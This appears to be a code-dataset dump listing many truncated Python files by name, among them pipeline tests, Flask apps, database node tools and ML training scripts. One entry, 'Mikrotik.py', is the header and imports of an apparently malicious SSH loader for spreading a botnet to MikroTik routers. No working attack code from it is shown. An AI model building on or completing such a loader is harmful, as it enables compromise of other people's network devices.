source
stringlengths
3
86
python
stringlengths
75
1.04M
test_interpreter_more.py
"""More test cases for ambianic.interpreter module.""" from ambianic import pipeline from ambianic.config_mgm import Config from ambianic.pipeline import interpreter from ambianic.pipeline.avsource.av_element import AVSourceElement from ambianic.pipeline.interpreter import \ PipelineServer, Pipeline, HealingThread,...
webapp.py
from flask import Flask, render_template, request, redirect, make_response, session, flash, copy_current_request_context from urllib.parse import urlencode import threading # Custom Imports from CustomCrossfade import CustomCrossfade app = Flask(__name__) app.secret_key = 'nIe8c&Z*coP!DKm2gqZf' # Messing around with...
g3_to_fits.py
#!/usr/bin/env python3 import argparse import os import sys import logging import time from spt3g_ingest import ingstools from spt3g_ingest import sqltools import multiprocessing as mp from spt3g import core, maps, transients def cmdline(): parser = argparse.ArgumentParser(description="spt3g ingestion tool") ...
test_functional.py
""" Simulate feeding from the collectors or cans on S3 using a local can """ # Format with black -t py37 -l 110 --fast from collections import Counter from datetime import date, timedelta from pathlib import Path from unittest.mock import MagicMock import logging import os import time import ujson import boto3 # deb...
validateExtra.py
#!/usr/bin/env python3 import argparse import os, atexit import textwrap import time import tempfile import threading, subprocess import barrier, finishedSignal import signal import random import time from enum import Enum from collections import defaultdict, OrderedDict BARRIER_IP = 'localhost' BARRIER_PORT = 10...
io.py
# -*- coding: utf-8 -*- # Copyright (C) 2012 Anaconda, Inc # SPDX-License-Identifier: BSD-3-Clause from __future__ import absolute_import, division, print_function, unicode_literals from collections import defaultdict from concurrent.futures import ThreadPoolExecutor, _base, as_completed from concurrent.futures.thread...
bsync_driver.py
import secrets import json import time import hashlib from datetime import datetime import driver import threading import rdflib from brickschema.namespaces import RDF, OWL, RDFS, BRICK import lxml.etree from sys import stdout import csv # TODO: pump systems relationships = [ {'parent_xpath': '//auc:Buildings/auc:...
scylla_node.py
# ccm node from __future__ import with_statement from datetime import datetime import errno import os import signal import shutil import socket import stat import subprocess import time import threading import psutil import yaml import glob import re from six import print_ from six.moves import xrange from ccmlib i...
gdal2tiles-multiprocess.py
#!/usr/bin/python # -*- coding: utf-8 -*- # ****************************************************************************** # $Id: gdal2tiles.py 27349 2014-05-16 18:58:51Z rouault $ # # Project: Google Summer of Code 2007, 2008 (http://code.google.com/soc/) # Support: BRGM (http://www.brgm.fr) # Purpose: Convert a ...
__init__.py
# Copyright (C) 2013 Hewlett-Packard Development Company, L.P. # Copyright (C) 2014 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/license...
parrot.py
"""The Parrot testing server.""" import queue import select import socket try: from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler except ImportError: from socketserver import TCPServer, ThreadingMixIn, BaseRequestHandler from struct import pack, unpack import threading import time from pyn...
streamer.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # : XXX{Information about this code}XXX # Author: # c(Developer) -> {'Egor Savin'} # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...
blob_test.py
from __future__ import with_statement from __future__ import division from __future__ import absolute_import #import settings import time import sys import threading from multiprocessing import Process from io import open sys.path.insert(0, '../libs/') from nrf import Bridge nrf = Bridge() while True: camera, ...
test_gluon_model_zoo.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
ml_model.py
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2018-2019 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the ...
test_operator.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
__init__.py
import os import torch import torch.multiprocessing as mp import dataset from param_server.master import run_parameter_server from param_server.worker import run_worker def add_sub_command(parent_parser): parser = parent_parser.add_parser('parameter-server') parser.add_argument( '--world-size', ...
health-server.py
#!/usr/bin/env python2 # # Copyright (C) 2014 eNovance SAS <licensing@enovance.com> # # Author: Erwan Velu <erwan.velu@enovance.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # h...
console.py
from __future__ import absolute_import, division, print_function import asyncio import binascii import copy from code import InteractiveConsole import json import os import time from decimal import Decimal from os.path import exists, join import pkgutil import unittest import threading import random import string from ...
scheduler.py
import time from collections import defaultdict import logging import threading from typing import Dict from irrd.conf import get_setting from irrd.conf.defaults import DEFAULT_SOURCE_IMPORT_TIMER, DEFAULT_SOURCE_EXPORT_TIMER from .mirror_runners_export import SourceExportRunner from .mirror_runners_import import Mir...
mcd_calculate.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Calculate MCD using converted features. # By Wen-Chin Huang 2019.06 import json import os import tensorflow as tf import numpy as np import pysptk import pyworld as pw from scipy.io import wavfile import scipy from fastdtw import fastdtw import argparse import loggin...
is_bst_hard.py
#!/usr/bin/python3 import sys, threading sys.setrecursionlimit(10**6) # max depth of recursion threading.stack_size(2**27) # new thread will get stack of such size mx = None last = -1 def IsBinarySearchTree(tree): if len(tree) in (0,1): return True def inOrderTraversal(tree, i): global mx global ...
QueueBasedBufferedIterator.py
import sys import threading from queue import Queue from koapy.backend.kiwoom_open_api_plus.utils.queue.QueueIterator import ( BufferedQueueIterator, ) from koapy.utils.logging.Logging import Logging class QueueBasedBufferedIterator(BufferedQueueIterator, Logging): _check_timeout = 1 _default_maxsize =...
test_docxmlrpc.py
from xmlrpc.server import DocXMLRPCServer import http.client import re import sys import threading import unittest def make_request_and_skipIf(condition, reason): # If we skip the test, we have to make a request because # the server created in setUp blocks expecting one to come in. if not condition: ...
plot_from_pp_geop_height_pot_temp_and_wind_diff_by_date_range.py
""" Load pp, plot and save 8km difference """ import os, sys #%matplotlib inline #%pylab inline import matplotlib #matplotlib.use('Agg') # Must be before importing matplotlib.pyplot or pylab! from matplotlib import rc from matplotlib.font_manager import FontProperties from matplotlib import rcParams from mpl_t...
control_loop_test.py
import os import sys import time from absl import app from absl import flags from multiprocessing import Process sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import erdos.graph from erdos.data_stream import DataStream from erdos.message import Message from erdos.op import Op from erdos...
main.py
# AutoWaifuClaimer # Copyright (C) 2020 RandomBananazz # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later versio...
utils.py
#!/usr/bin/env python """ General Utilities (part of web.py) """ __all__ = [ "Storage", "storage", "storify", "Counter", "counter", "iters", "rstrips", "lstrips", "strips", "safeunicode", "safestr", "utf8", "TimeoutError", "timelimit", "Memoize", "memoize", "re_compile", "re_subm", "group", "uniq"...
test_threading.py
try: from builtins import object except ImportError: pass import time from threading import Thread import logging from transitions.extensions import MachineFactory from transitions.extensions.nesting import NestedState from .test_nesting import TestTransitions as TestsNested from .test_core import TestTransit...
new_coral_dalek.py
#!/usr/bin/env python3 """Dalek State Machine This module provides a state machine that enables a Dalek to recognise people within its field of view and either welcome them by name, or threaten them if it doesn't recognise them. It assumes: * the use of an Adafruit Servo Controller to control an iris servo ...
train.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
test_queue.py
# Some simple queue module tests, plus some failure conditions # to ensure the Queue locks remain stable. import Queue import time import unittest from test import test_support threading = test_support.import_module('threading') QUEUE_SIZE = 5 # A thread to run a function that unclogs a blocked Queue. class _TriggerT...
tools.py
import pyglet from pyglet import gl from struct import unpack from threading import Thread, Event import ctypes import math background = pyglet.graphics.OrderedGroup(0) layer0 = pyglet.graphics.OrderedGroup(1) layer1 = pyglet.graphics.OrderedGroup(2) overlay = pyglet.graphics.OrderedGroup(3) app_size = (480, 360) cl...
client.py
"""Class that handle client connections""" import socket import json import select from random import randint from threading import Thread UDP_PORT = 13702 TCP_PORT = 13703 class Client: """Class that handle client connections""" def __init__(self): self.udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
threading_poller.py
# Copyright 2015 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
vulnerability.py
from flask import Blueprint, request, jsonify, make_response from core.vul_scan import get_system_info, vul_scan from pymongo import MongoClient from core.monitor import MonitorJsonEncoder from core.utils import get_loc import json import os import time import multiprocessing nse_path = os.path.join(os.getcwd(), 'nse...
lldbagility.py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from __future__ import print_function import argparse import functools import re import shlex import threading import time import traceback import kdpserver import lldb import lldbagilityutils import stubvm vm = None def _exec_cmd(debugger, command, capture_output=Fal...
delete_tx.py
#! /usr/bin/env python # # =============================================================== # Description: Test deletes with multiple clients and # timestampers. # # Created: 2014-06-17 10:41:16 # # Author: Ayush Dubey, dubey@cs.cornell.edu # # Copyright (C) 2013, Cornell Unive...
web_profile_test_helpers.py
import time import threading import xmlrpc.client as xmlrpc from astropy.samp.hub import WebProfileDialog from astropy.samp.hub_proxy import SAMPHubProxy from astropy.samp.client import SAMPClient from astropy.samp.integrated_client import SAMPIntegratedClient from astropy.samp.utils import ServerProxyPool from astrop...
reactor.py
import asyncore import errno import logging import select import socket import sys import threading import time from Queue import PriorityQueue from collections import deque from hazelcast.connection import Connection, BUFFER_SIZE from hazelcast.exception import HazelcastError from hazelcast.future import Future cla...
test_utils.py
# Copyright (c) 2010-2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
server.py
# -*- coding: utf-8 -*- """ DNS server framework - intended to simplify creation of custom resolvers. Comprises the following components: DNSServer - socketserver wrapper (in most cases you should just need to pass this an appropriate resolver instance an...
non_blocking_file_handler.py
from threading import Thread from logging import FileHandler from queue import Queue class NonBlockingFileHandler(FileHandler): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._queue = Queue(maxsize=9999) self._thread = Thread(target=self.__loop, daemon=True) ...
threaded_crawler_with_queue.py
import multiprocessing import re import socket import threading import time from urllib import robotparser from urllib.parse import urljoin, urlparse from chp3.downloader import Downloader from chp4.redis_queue import RedisQueue SLEEP_TIME = 1 socket.setdefaulttimeout(60) def get_robots_parser(robots_url): " Re...
run_tests.py
#!/usr/bin/python # # Copyright (c) 2013-2018, Intel Corporation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # ...
test_renderers.py
import json import sys import base64 import threading import time import pytest import requests import numpy as np import plotly.graph_objs as go import plotly.io as pio from plotly.offline import get_plotlyjs if sys.version_info.major == 3 and sys.version_info.minor >= 3: import unittest.mock as mock from u...
util.py
import base64 import builtins import importlib import logging import math import os import re import sys import threading import time from contextlib import contextmanager, ExitStack from ctypes import pythonapi, c_long, py_object from datetime import datetime from functools import partial, wraps from pathlib import Pa...
pipeline.py
# Copyright (c) 2016-2021, The Bifrost Authors. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditi...
Mikrotik.py
#!/usr/bin/python #Mikrotik loader made by slumpthegod @telnut #Corrections made by @babyyrex #creds to babyyrex for the payload detection #closed port fix by slump #made simply for kowai import sys, re, os, paramiko, socket from threading import Thread from time import sleep from Queue import * queue = Queue() queu...
rcmd.py
import paramiko import threading import sys import getpass import os def rcmd(host, user='root', pwd=None, port=22, command=None): ssh = paramiko.SSHClient() # 实例化SSHClient # 设置自动接受密钥 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接远程服务器 ssh.connect(host, username=user, password=pwd,...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import absolute_import, print_function, with_statement import os import re import sys import copy import time import types import signal import fnmatch import logging import threading import traceback import contextlib impo...
serial_data.py
# serial class to get noise level import serial import threading """ terminal 1 socat -d -d pty,raw,echo=0 pty,raw,echo=0 terminal 2 cat < /dev/pts/3 terminal 3 echo "65" > /dev/pts/4 """ class SerialData: def __init__(self, p): self.is_alive=True self.noiselevel=60 self.connected=False ...
Track4SampleAgent.py
from threading import Thread import math import sys try: import pygame from pygame.locals import K_BACKSPACE from pygame.locals import K_COMMA from pygame.locals import K_DOWN from pygame.locals import K_ESCAPE from pygame.locals import K_F1 from pygame.locals import K_LEFT from pygame...
test_telnetlib.py
import socket import selectors import telnetlib import time import contextlib from unittest import TestCase from test import support threading = support.import_module('threading') HOST = support.HOST def server(evt, serv): serv.listen(5) evt.set() try: conn, addr = serv.accept() conn.clos...
process.py
from .logging import debug, exception_log from .typing import Any, List, Dict, Callable, Optional, IO import os import shutil import subprocess import threading def add_extension_if_missing(server_binary_args: List[str]) -> List[str]: if len(server_binary_args) > 0: executable_arg = server_binary_args[0] ...
robot.py
""" Version : 20.05.19 Coded by Tolga Demir Robot class. so. this class creates an instance of a robot with values of the drivers. it is used to controll all the actuators and sensors. The sensor values are updated as daemons, so no returns here. also to remember if calling things like x_pos to do it like rob_inst...
testlib.py
''' Copyright 2019 Broadcom. The term "Broadcom" refers to Broadcom Inc. and/or its subsidiaries. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unles...
CharityScreenAI.py
import json, httplib, threading from panda3d.core import * from direct.distributed.DistributedObjectAI import DistributedObjectAI from direct.interval.IntervalGlobal import * from direct.task import Task from toontown.hood import ZoneUtil from toontown.toonbase import ToontownGlobals from direct.gui.DirectGui import D...
ClockSkewFault.py
from Faults import InfraFault from Faults import FaultStatus from multiprocessing import Process import time import psutil import sys import subprocess import distro import datetime import logging log = logging.getLogger("python_agent") class ClockSkewFault(InfraFault.InfraFault): def __init__(...
display-server.py
import threading import Adafruit_SSD1306 import time import PIL.Image import PIL.ImageFont import PIL.ImageDraw from flask import Flask from utils import ip_address, power_mode, power_usage, cpu_usage, gpu_usage, memory_usage, disk_usage class DisplayServer(object): def __init__(self, *args, **kwargs): s...
framework.py
import html import importlib import inspect import json import os import sys import threading from datetime import datetime import js2py from requests.structures import CaseInsensitiveDict from tools.broadcast_controller import BroadcastController from channel import Channel from tools.chimu_wrapper imp...
register.py
import logging, traceback, sys, threading try: import Queue except ImportError: import queue as Queue from ..log import set_logging from ..utils import test_connect from ..storage import templates logger = logging.getLogger('itchat') def load_register(core): core.auto_login = auto_logi...
sw_server.py
""" A simple server used to show mpld3 images -- based on _server in the mpld3 package. Version: 2019may23 """ import threading import webbrowser import socket import itertools import random import json #import mpld3 # See below -- temporary bugfix import pylab as pl import sciris as sc try: import BaseHTTPServer ...
service.py
# @Time : 2019-10-24 14:02 # @Author : 周睿 # @Desc : import os from kazoo.client import KazooClient from kazoo.client import KazooState import socket import threading import time import json class Service: def __init__(self, service_path, host, zk_hosts): self.prefix = "/service" self.serv...
session_test.py
"""Tests for tensorflow.python.client.session.Session.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import threading import time import tensorflow.python.platform import numpy as np import six from six.moves import xrange # pylint: disable=redefined...
corpora.py
# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
light_strip.py
import time from threading import Thread import board import neopixel import colorsys from anim_overrides import MySparkle from light_scene import LightScene from rain import Rain from math import isclose pixel_pin = board.D18 num_pixels = 300 default_brightness = 0.5 ORDER = neopixel.GRB IS_RAINING = False pixels =...
saver.py
#!/usr/bin/python ############################################################################### # Written by: Aleks Lambreca # Creation date: 06/04/2018 # Last modified date: 27/07/2019 # Version: v1.1 # # Script use: Telnet into Cisco IOS devices and configure SSH. # ...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import print_function import logging import getpass import multiprocessing import fnmatch import copy import os import hashlib import re import types import threading import time import traceback import sys import signal i...
server.py
import os import GameData import socket from game import Game from game import Player import threading from constants import * import logging import sys mutex = threading.Lock() # SERVER playerConnections = {} game = Game() playersOk = [] statuses = [ "Lobby", "Game" ] status = statuses[0] commandQueue = {}...
__init__.py
#coding=utf-8 import codecs, copy, json, os, shutil, sys, tempfile, threading, traceback, webbrowser from collections import OrderedDict import logging as log import Tkinter as tk import ttk import tkFileDialog as tkfd import tkMessageBox as tkmb from jfr_playoff.filemanager import PlayoffFileManager from jfr_playof...
l4g_mon.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import threading import urllib3 from terminaltables import AsciiTable import serial from datetime import datetime, date, time port = "COM5" baud = 9600 COMMAND = "" SERIAL_PORT = None TIME_ON = [6, 0, 22, 0, True] TIME_OFF = [0, 0, 23, 59, False] FLAGTXT = "C:\...
generate_hover_database.py
#!/usr/bin/python # Copyright 2020 Makani Technologies LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
custom.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
validate.py
#!/usr/bin/env python3 import argparse import os, atexit import textwrap import time import tempfile import threading, subprocess import barrier, finishedSignal import signal import random import time from enum import Enum from collections import defaultdict, OrderedDict from generate_memb_ste import generate_memb...
pepe.py
#!/usr/bin/env python2 # # MIT License # # Copyright (c) 2017 Anders Steen Christensen # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the ...
mpv.py
# -*- coding: utf-8 -*- # vim: ts=4 sw=4 et # # Python MPV library module # Copyright (C) 2017-2020 Sebastian Götte <code@jaseg.net> # # This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General # Public License as published by the Free Software Foundation, either...
__init__.py
# ---------------------------------------------------------------------------- # PyWavefront # Copyright (c) 2013 Kurt Yoder # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistribution...
multiple_windows.py
# ---------------------------------------------------------------------------- # - Open3D: www.open3d.org - # ---------------------------------------------------------------------------- # The MIT License (MIT) # # Copyright (c) 2018-2021 www.open3d.org # # Permission i...
client.py
from __future__ import absolute_import from __future__ import print_function from __future__ import division import collections import signal import socket import time import msgpack import requests import simplejson import sys import six from paramiko.ssh_exception import NoValidConnectionsError from aetros.utils ...
test__socket.py
from gevent import monkey; monkey.patch_all() import sys import os import array import socket import traceback import time import unittest import greentest from functools import wraps import _six as six # we use threading on purpose so that we can test both regular and gevent sockets with the same code from threading ...
simulator.py
import os import numpy as np from numpy.linalg import norm, inv, pinv, eig, svd import subprocess import threading import time import matplotlib.pyplot as plt from scipy.optimize import fmin_slsqp import pybullet as p import pybullet_data import pinocchio as se3 from pinocchio.utils import * from pinocchio.rpy import ...
learner.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
event_based_scheduler_job.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
client.py
import os import time from threading import Thread from contextlib import suppress from astropy.io import fits from astropy import units as u from Pyro5.api import Proxy from panoptes.utils import error from panoptes.utils import CountdownTimer from panoptes.utils import get_quantity_value from panoptes.pocs.camera ...
Controller.py
from udi_interface import Node,LOGGER,Custom,LOG_HANDLER import sys,time,logging,json from threading import Thread,Lock from copy import deepcopy from nodes import TagManager from wtServer import wtServer from wt_funcs import get_server_data,get_valid_node_name,get_profile_info # old nodedef = 'node_def_id' # new #n...
server.py
from time import sleep from os import path from multiprocessing import Process from bottle import Bottle, route, run, template PRESETS_DIR = path.join(path.dirname(__file__), 'presets') def template_response(func): def wrapper(*args, **kwargs): filename = func(*args, **kwargs) with open(path.jo...
Main.py
#The MIT License (MIT) #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team #Permission is hereby granted, free of charge, to any person obtaining a copy of #this software and associated documentation files (the "Software"), to deal in #the Software without restriction, including without limitation the rights to #use, copy, mo...
soundEnvelope.py
import wiringpi import time from threading import Thread twelthRootOf2=2**(1.0/12) class SoundEnvelope: thread=None; threadInterrupted=False def __init__(self,clock=76, pin=1): self.clock=clock self.pin=pin wiringpi.wiringPiSetup() wiringpi.pinMode(self.pin,wiringpi.OUTPUT) wiringpi.pinMode(self.pin...
ClusterServicePyServer.py
#!/usr/bin/env python from wsgiref.simple_server import make_server import sys import json import traceback import datetime from multiprocessing import Process from getopt import getopt, GetoptError from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\ JSONRPCError, ServerError, InvalidRequestE...
ssh_remote.py
# Copyright (c) 2013 Mirantis Inc. # Copyright (c) 2013 Hortonworks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
main_window.py
#!/usr/bin/env python # # Electrum - lightweight Futurocoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including wi...
main.py
# 3D Human Pose Estimation import threading import chart import ui if __name__ == '__main__': webcamThread = threading.Thread(target=ui.createUI) webcamThread.start() chart.createChart()
dryrunhelper.py
# # clfsload/dryrunhelper.py # #------------------------------------------------------------------------- # Copyright (c) Microsoft. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the...
test_athenad.py
#!/usr/bin/env python3 import json import os import requests import shutil import tempfile import time import threading import queue import unittest from multiprocessing import Process from pathlib import Path from unittest import mock from websocket import ABNF from websocket._exceptions import WebSocketConnectionClo...
tweet_handlers.py
from datetime import date from numpy.lib.npyio import save import pandas as pd import twint from multiprocessing import Process, Queue, Pool, Manager, Lock # tweetPulls: # Runs tweet pulling function in multiprocess and returns a simplified tweet_df def tweetPulls( key_spanish_df ): m = Manager() q = m.Q...
test_restful.py
#!/usr/bin/python3 ''' DISTRIBUTION STATEMENT A. Approved for public release: distribution unlimited. This material is based upon work supported by the Assistant Secretary of Defense for Research and Engineering under Air Force Contract No. FA8721-05-C-0002 and/or FA8702-15-D-0001. Any opinions, findings, conclusions ...
engine.py
import math import logging import math import time import traceback from threading import Thread import cv2 from pynput import keyboard, mouse from fishy.constants import fishyqr, lam2, libgps from fishy.engine import SemiFisherEngine from fishy.engine.common.IEngine import IEngine from fishy.engine.common.window imp...
1.thread.py
import os from threading import Thread, current_thread def test(name): # current_thread()返回当前线程的实例 thread_name = current_thread().name # 获取线程名 print(f"[编号:{name}],ThreadName:{thread_name}\nPID:{os.getpid()},PPID:{os.getppid()}") def main(): t_list = [Thread(target=test, args=(i, )) for i in range(5...